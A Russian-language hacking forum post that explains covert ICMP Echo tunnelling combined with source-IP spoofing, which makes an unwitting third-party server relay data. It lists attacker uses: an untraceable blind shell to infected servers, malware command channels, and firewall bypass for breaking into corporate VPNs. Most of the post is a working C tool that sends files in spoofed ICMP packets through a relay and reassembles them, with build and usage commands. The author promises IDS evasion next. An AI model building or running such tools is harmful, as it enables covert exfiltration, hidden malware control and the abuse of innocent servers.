IP спуфинг и ICMP Echo туннель для анонимизации и обхода фильтрации
Не удалось прогрузить медиа
В этой статье расскажу и покажу идею и способы передачи данных в обход сетевых фильтров и вайтлистинга, а также метод сокрытия исходного IP адреса с использованием чужого сервера в роли непреднамеренного прокси!
Здоровья всем! Разгрести снег(вставь в консоль): document.querySelectorAll('#snow').forEach(el => el.remove());Не удалось прогрузить медиа
- Передача данных с использованием ICMP Echo
- Комбинация с IP спуфингом
- Практика
- Proof Of Concept
Передача данных используя ICMP Echo
Сервер A отправляет серверу B пакет "Echo Request", а сервер B отвечает "Echo Reply", направляя его обратно на IP отправителя.ICMP пакеты могут содержать произвольные данные. Изначально эта возможность предназначалась для проверки целостности передаваемой информации(передавался алфавит, а искажения были заметны сразу), но конечно же внутрь можно поместить всё что угодно.
Используя эту фичу, ICMP может выполнять коммуникационные функции.
Важно отметить, что ICMP является важной частью TCP/IP, поэтому большинство фильтров его не блокируют.
Спойлер: nping
nping -c 1 --icmp --data-string "DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA" google.com -vvv -d SENT (0.0227s) ICMP [XXXX > 172.217.18.14 Echo request (type=8/code=0) id=3256 seq=1] IP [ver=4 ihl=5 tos=0x00 iplen=102 id=36700 foff=0 ttl=64 proto=1 csum=0x69e8] 0000 74 93 da d0 0a 79 00 c0 ca af 6e 01 08 00 45 00 t....y....n...E. 0010 00 66 8f 5c 00 00 40 01 69 e8 00 00 00 00 ac d9 .f.\[email protected]....... 0020 12 0e 08 00 b4 25 0c b8 00 01 44 41 54 41 20 44 .....%....DATA.D 0030 41 54 41 20 44 41 54 41 20 44 41 54 41 20 44 41 ATA.DATA.DATA.DA 0040 54 41 20 44 41 54 41 20 44 41 54 41 20 44 41 54 TA.DATA.DATA.DAT 0050 41 20 44 41 54 41 20 44 41 54 41 20 44 41 54 41 A.DATA.DATA.DATA 0060 20 44 41 54 41 20 44 41 54 41 20 44 41 54 41 20 .DATA.DATA.DATA. 0070 44 41 54 41 DATA RCVD (0.0350s) ICMP [172.217.18.14 > XXXX Echo reply (type=0/code=0) id=3256 seq=1] IP [ver=4 ihl=5 tos=0x00 iplen=102 id=0 foff=0 ttl=116 proto=1 csum=0xc544] 0000 45 00 00 66 00 00 00 00 74 01 c5 44 ac d9 12 0e E..f....t..D.... 0010 00 00 00 00 00 00 bc 25 0c b8 00 01 44 41 54 41 .......%....DATA 0020 20 44 41 54 41 20 44 41 54 41 20 44 41 54 41 20 .DATA.DATA.DATA. 0030 44 41 54 41 20 44 41 54 41 20 44 41 54 41 20 44 DATA.DATA.DATA.D 0040 41 54 41 20 44 41 54 41 20 44 41 54 41 20 44 41 ATA.DATA.DATA.DA 0050 54 41 20 44 41 54 41 20 44 41 54 41 20 44 41 54 TA.DATA.DATA.DAT 0060 41 20 44 41 54 41 A.DATA
Комбинация с IP спуфингом
Подмена источника пакета заставит сервер на который этот пакет был отправлен, дать Reply на указанный IP.Если объединить ICMP передачу данных и подделать IP источника, можно добиться любопытного эффекта.
Спойлер: Визуализация
A - Отправляет данные B - Ничерта не подозревает C - Принимает данные
1. A, подделывая адрес C, отправляет Request на B
2. B, ничего не подозревая, отправляет Reply на C
3. C получает данные, хотя с A не взаимодействовал
A (спуфинг C) --Echo Request--> B --Echo Reply--> C
1. A, подделывая адрес C, отправляет Request на B
2. B, ничего не подозревая, отправляет Reply на C
3. C получает данные, хотя с A не взаимодействовал
Не удалось прогрузить медиа
A (спуфинг C) --Echo Request--> B --Echo Reply--> C
Практика:
Спойлер: Сценарии
Красным пометил запросы Request, а зелёным Reply Анонимизация (Атакующий --> Посредник --> Получатель)Отправить какие-то данные/файлик. Получатель не узнает IP отправившего. Видит только IP посредника. Reverse shell через Reply (Атакуюущий <--> Жертва) blind-shell:(Атакующий --> Посредник --> Жертва)Это позволяет передавать данные на зараженные сервера, не вызывая подозрений и обходя антивирусы. При проведении реверс инжиниринга, IP атакующего невозможно отследить. Например, на зараженном сервере есть шелл. Атакующий отправляет Request с командой для выполнения, а сервер возвращает Reply, с выводом информации. Поиск заражённого сервера (Атакующий --> [Сервер1, Сервер2, Жертва, Сервер4])Даже если IP сервера неизвестен, его можно узнать, проведя бродкаст ICMP Echo на диапазон IP(предположительно организации, чей диапазон IP доступен), а заражённый сервер должен заменить данные в reply, ну или просто выполнить код. Удобно и незаметно! Поиск атакующего через Request (Жертва --> [Сервер1, Сервер2, Атакующий, Сервер4])Этот сценарий актуален для ПК малвари. Атакующий имеет сервер, на который приходят логи с малвари. Как только станет известно, что программа зловред - антивирусы добавят IP, с которым коммуницирует вирусная программа в бд, и сама малварь вовсе может стать бесполезной, как и IP сервера. Вместо этого, малварь может отправлять данные по предварительно сгенерированным спискам IP, один из которых принадлежит злоумышленнику. Ответ на ping у всех одинаковый, поэтому у сервера нет подозрительной активности. Это заслуживает отдельного внимания, скоро напишу про это статейку Обход фаервола (Атакующий <--> Посредник <--> Жертва)В такой системе, B анонимизует A от C. Более того, используя посредника B, можно получить доступ к C внутри сети с жёсткими фильтрами и вайтлистингом(если B в вайтлисте для C, но имеет выход в интернет). Это актуально для взлома корпоративных VPN.
PoC:
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/stat.h>
// Кастомный заголовок для передачи метаданных файла
typedef struct {
uint16_t total_packets; // Колво пакетов
uint16_t packet_num;
uint16_t data_len; // Длина данных
char filename[32];
} icmp_header_t;
// Полный пакет (Cтандартный ICMP + заголовок + данные)
typedef struct {
struct icmphdr icmp; // Стандартный ICMP заголовок (8 байт)
icmp_header_t custom; // Метаданные (40 байт)
char data[1424]; // Полезная нагрузка файла (Ограничение MTU для ICMP - 1472. 1472-40-8=1424)
} icmp_packet_t;
// Отслеживает прогресс сборки нескольких файлов
typedef struct {
char filename[32];
FILE *fp; // Временный файл .tmp для записи чанков
uint16_t total_packets;
uint16_t packets_received;
uint8_t *received_map; // Битмап полученных пакетов
int data_size;
} file_transfer_t;
int sock = -1;
volatile int running = 1;
file_transfer_t *transfers = NULL;
int num_transfers = 0;
int transfers_capacity = 0;
int delay_ms = 200; // Задержка между пакетами
int data_size = 1024; // Размер чанка данных по дефолту
void signal_handler(int sig) {
running = 0;
}
// RFC 1071 хешсумма (Вычисляет хещ для IP/ICMP заголовков)
uint16_t checksum(uint16_t *addr, int len) {
int nleft = len;
int sum = 0;
uint16_t *w = addr;
uint16_t answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(unsigned char *)(&answer) = *(unsigned char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
uint16_t ip_checksum(struct iphdr *ip_hdr) {
ip_hdr->check = 0;
return checksum((uint16_t *)ip_hdr, sizeof(struct iphdr));
}
////////////////////////////////////////////////////////////
// Создание сокета
int create_raw_socket() {
int s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
int on = 1;
setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); // Формируем IP заголовок
return s;
}
// Отправка файла
int send_file(const char *filename, const char *relay_ip, const char *target_ip, int custom_delay, int custom_data_size) {
FILE *fp = fopen(filename, "rb");
fseek(fp, 0, SEEK_END);
long file_size = ftell(fp);
fseek(fp, 0, SEEK_SET);
// Вычисляем количество пакетов
int total_packets = (file_size + custom_data_size - 1) / custom_data_size;
char *filename_base = strrchr(filename, '/');
if (!filename_base) filename_base = (char *)filename;
else filename_base++;
// Инфа о трансфере
printf("Этот сервер --> Посредник(%s) --> Конечный сервер(%s)\n'%s' (%ld байт, %d пакетов)\n%d байт / Задержка: %dмс\n", relay_ip, target_ip, filename_base, file_size, total_packets, custom_data_size, custom_delay);
// Цикл отправки пакетов
// IP + ICMP + метаданные + чанк данных
for (int pkt_num = 0; pkt_num < total_packets; pkt_num++) {
usleep(custom_delay * 1000); // Задержка для избежания перегрузки. В будущем можно добавить автоматическое определение
char packet[1500] = {0};
struct iphdr *ip_hdr = (struct iphdr *)packet;
icmp_packet_t *icmp_pkt = (icmp_packet_t *)(packet + sizeof(struct iphdr));
int icmp_len = sizeof(struct icmphdr) + sizeof(icmp_header_t) + custom_data_size;
ip_hdr->ihl = 5;
ip_hdr->version = 4;
ip_hdr->tot_len = htons(sizeof(struct iphdr) + icmp_len);
ip_hdr->id = htons(54321); // Фиксированный IP ID
ip_hdr->ttl = 64;
ip_hdr->protocol = IPPROTO_ICMP;
inet_pton(AF_INET, target_ip, &ip_hdr->saddr); // Поддельный IP
inet_pton(AF_INET, relay_ip, &ip_hdr->daddr); // IP куда отправляем пакет, ретранслятор
ip_hdr->check = ip_checksum(ip_hdr);
// Ping
icmp_pkt->icmp.type = ICMP_ECHO;
icmp_pkt->icmp.code = 0;
icmp_pkt->icmp.un.echo.id = htons(getpid()); // PID отправителя
icmp_pkt->icmp.un.echo.sequence = htons(pkt_num); // Номер пакета
// Кастомные метаданные
icmp_pkt->custom.total_packets = htons(total_packets);
icmp_pkt->custom.packet_num = htons(pkt_num);
//Чанк
int bytes_read = fread(icmp_pkt->data, 1, custom_data_size, fp);
icmp_pkt->custom.data_len = htons(bytes_read);
strncpy(icmp_pkt->custom.filename, filename_base, sizeof(icmp_pkt->custom.filename) - 1);
// Финальный размер
int actual_icmp_len = sizeof(struct icmphdr) + sizeof(icmp_header_t) + bytes_read;
icmp_pkt->icmp.checksum = 0;
icmp_pkt->icmp.checksum = checksum((uint16_t *)icmp_pkt, actual_icmp_len);
// Отправляем
struct sockaddr_in relay_addr = {0};
relay_addr.sin_family = AF_INET;
relay_addr.sin_addr.s_addr = inet_addr(relay_ip);
int total_len = sizeof(struct iphdr) + actual_icmp_len;
sendto(sock, packet, total_len, 0, (struct sockaddr *)&relay_addr, sizeof(relay_addr));
printf("\rОтправлено %d/%d | %d байт", pkt_num + 1, total_packets, bytes_read);
fflush(stdout);
}
fclose(fp);
return 0;
}
// Поиск трансфера по имени файла
int get_transfer_index(const char *filename) {
for (int i = 0; i < num_transfers; i++) {
if (strcmp(transfers[i].filename, filename) == 0) return i;
}
return -1;
}
int ensure_capacity(int needed) {
if (transfers_capacity >= needed) return 0;
int new_capacity = transfers_capacity ? transfers_capacity * 2 : 16;
if (new_capacity < needed) new_capacity = needed;
file_transfer_t *new_transfers = realloc(transfers, new_capacity * sizeof(file_transfer_t));
if (!new_transfers) return -1;
transfers = new_transfers;
transfers_capacity = new_capacity;
return 0;
}
// Добавление трансфера
int add_transfer(const char *filename, uint16_t total_packets, const char *output_dir, int pkt_data_size) {
ensure_capacity(num_transfers + 1);
int idx = num_transfers;
strncpy(transfers[idx].filename, filename, sizeof(transfers[idx].filename) - 1);
transfers[idx].total_packets = total_packets;
transfers[idx].packets_received = 0;
transfers[idx].data_size = pkt_data_size;
transfers[idx].received_map = calloc(total_packets, sizeof(uint8_t));
if (!transfers[idx].received_map) return -1;
// Создаёт .tmp файл и битмап для отслеживания пакетов
char filepath[256];
snprintf(filepath, sizeof(filepath), "%s/%s.tmp", output_dir, filename);
transfers[idx].fp = fopen(filepath, "wb");
if (!transfers[idx].fp) {
free(transfers[idx].received_map);
return -1;
}
num_transfers++;
return idx;
}
// Формирование финального файла
void merge_chunks(int idx, const char *output_dir) {
if (idx < 0 || idx >= num_transfers) return;
char tmp_path[256], final_path[256];
snprintf(tmp_path, sizeof(tmp_path), "%s/%s.tmp", output_dir, transfers[idx].filename);
snprintf(final_path, sizeof(final_path), "%s/%s", output_dir, transfers[idx].filename);
rename(tmp_path, final_path);
printf("\n'%s' сохранён <3\n", transfers[idx].filename);
free(transfers[idx].received_map);
transfers[idx].received_map = NULL;
if (transfers[idx].fp) {
fclose(transfers[idx].fp);
transfers[idx].fp = NULL;
}
}
// Приём
int receive_files(const char *output_dir) {
mkdir(output_dir, 0755);
char buffer[2048];
printf("Ждём...\n");
while (running) {
struct sockaddr_in src;
socklen_t src_len = sizeof(src);
// На всех входящих ICMP
int len = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&src, &src_len);
if (len < 0) continue;
// Парсинг IP/ICMP
struct iphdr *ip_hdr = (struct iphdr *)buffer;
int ip_hdr_len = ip_hdr->ihl * 4;
struct icmphdr *icmp_hdr = (struct icmphdr *)(buffer + ip_hdr_len);
/* Обрабатываем только Reply, но в зависмости от сценрия можно поменять
(icmp_hdr->type == ICMP_ECHOREPLY || icmp_hdr->type == ICMP_ECHO)
ICMP_DEST_UNREACH
ICMP_SOURCE_QUENCH
ICMP_REDIRECT
ICMP_ECHO
ICMP_TIME_EXCEEDED
ICMP_PARAMETERPROB
ICMP_TIMESTAMP
ICMP_TIMESTAMPREPLY
ICMP_INFO_REQUEST
ICMP_INFO_REPLY
ICMP_ADDRESS
ICMP_ADDRESSREPLY
*/
if (icmp_hdr->type == ICMP_ECHOREPLY) { //////////
icmp_packet_t *pkt = (icmp_packet_t *)icmp_hdr;
uint16_t packet_num = ntohs(pkt->custom.packet_num);
uint16_t total_packets = ntohs(pkt->custom.total_packets);
uint16_t data_len = ntohs(pkt->custom.data_len);
char filename[32];
strncpy(filename, pkt->custom.filename, sizeof(filename) - 1);
// Cоздаём трансфер
int idx = get_transfer_index(filename);
if (idx < 0) {
idx = add_transfer(filename, total_packets, output_dir, data_len);
if (idx < 0) continue;
}
if (packet_num >= transfers[idx].total_packets ||
transfers[idx].received_map[packet_num]) {
continue;
}
transfers[idx].received_map[packet_num] = 1;
transfers[idx].packets_received++;
// Записываем чанк по смещению
fseek(transfers[idx].fp, (long)packet_num * transfers[idx].data_size, SEEK_SET);
fwrite(pkt->data, 1, data_len, transfers[idx].fp);
fflush(transfers[idx].fp);
char src_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &src.sin_addr, src_ip, sizeof(src_ip));
printf("\r(%s) %s %d/%d %d байт",
src_ip, filename, packet_num + 1, total_packets, data_len);
fflush(stdout);
// Финализация
if (transfers[idx].packets_received == total_packets) {
merge_chunks(idx, output_dir);
}
}
}
return 0;
}
void cleanup() {
for (int i = 0; i < num_transfers; i++) {
if (transfers[i].received_map) free(transfers[i].received_map);
if (transfers[i].fp) fclose(transfers[i].fp);
}
if (transfers) free(transfers);
}
void print_usage(const char *prog) {
printf("Отправить: %s -s <файл> <IP посредника> <IP приёмника> [задержка] [размер пакета]\n", prog);
printf("Принять: %s -r [директория]\n", prog);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
print_usage(argv[0]);
return 1;
}
sock = create_raw_socket(); // Только с root
signal(SIGINT, signal_handler);
atexit(cleanup);
int res = 0;
if (strcmp(argv[1], "-s") == 0 && argc >= 5) {
int custom_delay = (argc > 5) ? atoi(argv[5]) : delay_ms;
int custom_data_size = (argc > 6) ? atoi(argv[6]) : data_size;
res = send_file(argv[2], argv[3], argv[4], custom_delay, custom_data_size);
} else if (strcmp(argv[1], "-r") == 0) {
const char *out_dir = (argc > 2) ? argv[2] : "/dev/null"; // :)
res = receive_files(out_dir);
} else {
print_usage(argv[0]);
res = 1;
}
close(sock);
return res;
}
gcc -o icmp icmp2.c
Отправить (Со стороны A):
./icmp2 -s <файл> IP посредника (B) IP приёмника (C) [задержка в мс] [размер пакета]
Принять (Сторона C):
Принять: ./icmp2 -r [директория, куда будет сохранён файл]
Для примера буду использовать фейсбук в качестве посредника.
Отправитель:
Не удалось прогрузить медиа
Получатель:
Не удалось прогрузить медиа
Спойлер: Для больших файлов - фрагментация
Отправитель:
Получатель:
Не удалось прогрузить медиа
Получатель:
Не удалось прогрузить медиа
Вместо заключения
Доверенные протоколы - это огромная слепая зона и хорошие возможности :)
В будущем, добавлю методы обхода фильтрации ICMP, шифрование данных и реализую алгоритм, который сам подбирает параметры и задержку между пакетами, балансируя на грани срабатывания IDS.
На этом всё! Делитесь своими идеями в комментариях, постараюсь на всё ответить!
Автор @ec5745y
Специально для forum.LIMB.cc
👍50
❤️6
👏6
🤔6
💯8
LIMB